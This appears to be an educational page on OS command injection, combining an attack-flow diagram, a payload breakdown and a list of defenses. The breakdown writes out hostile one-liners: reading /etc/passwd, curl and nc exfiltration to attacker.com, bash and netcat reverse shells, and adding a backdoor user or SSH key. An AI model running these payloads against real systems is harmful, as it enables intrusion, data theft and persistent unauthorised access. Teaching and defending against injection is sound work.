⚡ OS Command Injection Attack Flow
Remote Code Execution via System Commands
flowchart TD
A[👤 Attacker] -->|1. Inject shell commands| B[💬 User Input]
B -->|2. Submit to application| C[🌐 Web Application]
C -->|3. Concatenate to command| D[🔧 System Command Builder]
D -->|4. No input sanitization| E[❌ Unsafe Command Execution]
E -->|5. Execute on OS| F[💻 Operating System]
F -->|6. Run attacker commands| G[🚀 Shell Execution]
G -->|7. Read sensitive files| H[📁 File System Access]
G -->|8. Reverse shell| I[🔌 Remote Access]
G -->|9. Privilege escalation| J[👑 Root/Admin Access]
H -->|10. Exfiltrate data| A
I -->|11. Full system control| A
J -->|12. Complete compromise| A
style A fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style B fill:#ffd43b,stroke:#f59e0b,stroke-width:2px,color:#000
style C fill:#74c0fc,stroke:#f59e0b,stroke-width:2px,color:#000
style D fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style E fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style F fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style G fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style H fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style I fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style J fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
K[🔒 Defense:
Input Validation] -.->|Sanitize input| B
L[🛡️ Defense:
Avoid Shell Execution] -.->|Use APIs| E
M[⚙️ Defense:
Least Privilege] -.->|Limited permissions| F
style K fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style L fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style M fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
📋 Attack Flow Breakdown
1
Command Chaining: Use shell metacharacters to chain commands.
; ls -la
& whoami
| cat /etc/passwd
&& id
|| uname -a
2
Command Substitution: Embed commands within commands.
`whoami`
$(cat /etc/passwd)
Example: ping -c 1 `whoami`.evil.com
3
Blind Command Injection: No direct output, use time delays or out-of-band.
; sleep 10 (Check if response is delayed)
; curl http://attacker.com/$(whoami) (OOB exfiltration)
4
Reverse Shell: Establish remote connection to attacker.
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
; nc -e /bin/bash attacker.com 4444
; python -c 'import socket...' (Python reverse shell)
5
Data Exfiltration: Extract sensitive files.
; cat /etc/passwd | curl -X POST -d @- http://attacker.com
; tar czf - /var/www | nc attacker.com 1234
6
Privilege Escalation: Exploit SUID binaries or sudo misconfigurations.
; find / -perm -4000 2>/dev/null (Find SUID binaries)
; sudo -l (Check sudo permissions)
7
Persistence: Add backdoor user or SSH key.
; useradd -m -p $(openssl passwd -1 hacked) backdoor
; echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys
🛡️ Defense Mechanisms
✅ Avoid Shell Execution Entirely:
Use language-native APIs instead of shell commands.
Python: os.listdir() instead of os.system('ls')
Node.js: fs module instead of child_process.exec()
✅ Input Validation with Whitelist:
Only allow specific, known-safe characters/values.
Allow: alphanumeric, dots, hyphens only
Reject: ; & | ` $ ( ) { } [ ] < > \n \r
✅ Use Parameterized/Safe APIs:
Use functions that don't invoke a shell.
Python: subprocess.run(['ping', '-c', '1', user_input], shell=False)
Node.js: execFile() instead of exec()
✅ Escape Shell Metacharacters:
If shell execution is unavoidable, escape special characters.
Python: shlex.quote(user_input)
PHP: escapeshellarg()
✅ Principle of Least Privilege:
Run application with minimal OS permissions.
Non-root user, restricted file access, no sudo
✅ Sandboxing and Containerization:
Isolate application in containers or VMs.
Docker, chroot, AppArmor, SELinux
✅ Monitor and Alert:
Detect suspicious command execution patterns.
Log all system commands, alert on shell spawning